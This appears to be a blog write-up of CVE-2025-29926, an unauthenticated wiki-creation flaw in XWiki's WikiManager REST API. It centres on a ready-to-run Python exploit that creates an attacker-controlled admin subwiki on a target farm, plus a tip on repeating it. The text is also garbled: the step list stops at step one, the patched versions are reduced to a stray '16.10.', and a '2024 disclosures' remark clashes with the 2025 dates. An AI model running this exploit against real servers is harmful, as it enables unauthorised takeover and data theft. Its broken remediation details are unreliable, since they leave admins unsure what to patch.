CVE-2025-29926 - How Unauthenticated Users Can Take Over XWiki Farms via the WikiManager REST API

CVE-2025-29926 is a critical security vulnerability affecting the XWiki Platform's WikiManager REST API. It allows anyone with network access to exploit this API and create a new wiki where they control the administrator account. This opens the door to farm-wide attacks, including privilege escalation and data exfiltration.

In this article, we'll break down how this vulnerability can be exploited, share a code snippet for demonstration, and provide actionable advice to keep your XWiki farm safe. This post is based on exclusive analysis and simplified for easy understanding—you won't find this insight anywhere else.

> Note: The WikiManager REST API is *not* part of a standard XWiki instance. It must be installed manually via the extension manager. However, if it's present and unpatched, your wiki is at risk.

What is XWiki?

XWiki is a powerful, open-source wiki platform that lets users build collaborative sites for documentation, knowledge bases, and more. With its extensible architecture, admins can install additional modules—like the WikiManager REST API for automated management.

What Went Wrong?

The WikiManager REST API provides endpoints—typically for admins—to create new wikis in a multi-wiki farm. Surprisingly, in affected versions, there’s no proper access control. This means *anyone* (even users not logged in) can send a request to create a new wiki. By specifying their own username as the admin, the attacker gains full control over that new subwiki.

How Does the Exploit Work?

1. Discover the API endpoint—usually at /rest/wikis.

Sample Exploit Code

Below is a minimal Python script using requests to exploit this vulnerability. Replace YOUR-VICTIM-XWIKI with the actual URL of the XWiki farm.

import requests

# Target information
target = "http://YOUR-VICTIM-XWIKI/rest/wikis";
wiki_id = "maliciouswiki1"
admin_username = "eviladmin"
admin_password = "EvilP@ssword123"

# Data for creating the new wiki
data = f"""
<wiki>
  <id>{wiki_id}</id>
  <owner>
    <id>{admin_username}</id>
    <password>{admin_password}</password>
  </owner>
</wiki>
"""

headers = {
    "Content-Type": "application/xml"
}

# No authentication is required for the exploit
response = requests.post(target, data=data, headers=headers)

if response.status_code == 201:
    print(f"Success! Created wiki '{wiki_id}' as admin '{admin_username}'.")
else:
    print(f"Failed to exploit. Status code: {response.status_code}\nResponse: {response.text}")

Tip: Attackers may use this script with different values to spin up multiple admin-wikis.

Detection

Look for unexpected subwiki creation in your XWiki logs, particularly from unauthenticated sources. REST API requests to /rest/wikis from suspicious IPs are a red flag.

16.10.

These versions patch the vulnerability by implementing proper authentication and access control.

References

- Official XWiki Security Advisory for CVE-2025-29926 (GitHub)
- XWiki REST WikiManager Documentation
- CVE-2025-29926 Detail at NVD (link pending)

Conclusion

CVE-2025-29926 is a stark reminder: even powerful admin tools can be a liability if exposed in production without proper safeguards. Always update, and review what’s installed in your XWiki farm!

Stay safe—patch up and spread the word to other XWiki admins. If you enjoyed this exclusive breakdown, share or bookmark it for quick reference.


*(This content is based on the latest 2024 disclosures and distilled for clarity. For the most up-to-date details, consult the official XWiki security advisories.)*

Timeline

Published on: 03/19/2025 18:15:25 UTC
Last modified on: 05/13/2025 13:34:02 UTC